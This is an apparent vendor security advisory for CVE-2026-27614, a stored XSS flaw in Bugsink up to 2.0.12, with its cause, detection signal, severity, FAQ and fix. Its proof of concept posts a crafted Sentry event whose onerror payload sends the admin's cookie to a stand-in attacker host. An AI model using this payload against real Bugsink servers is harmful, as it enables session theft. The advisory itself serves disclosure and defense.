CVE-2026-27614

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]

Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

"Pygments line count mismatch, falling back to unformatted code"

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.

PoC

Send a Sentry event to /api/<project-id>/store/ with a valid DSN:

import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

This is a stored XSS vulnerability.

Successful exploitation requires:

• The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
• The Bugsink ingest endpoint is reachable to the attacker.
• An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-27614 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.13); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27614? CVE-2026-27614 is a critical-severity cross-site scripting (XSS) vulnerability in bugsink (pip), affecting versions <= 2.0.12. It is fixed in 2.0.13. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-27614? CVE-2026-27614 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bugsink are affected by CVE-2026-27614? bugsink (pip) versions <= 2.0.12 is affected.
4. Is there a fix for CVE-2026-27614? Yes. CVE-2026-27614 is fixed in 2.0.13. Upgrade to this version or later.
5. Is CVE-2026-27614 exploitable, and should I be worried? Whether CVE-2026-27614 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27614 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27614? Upgrade bugsink to 2.0.13 or later.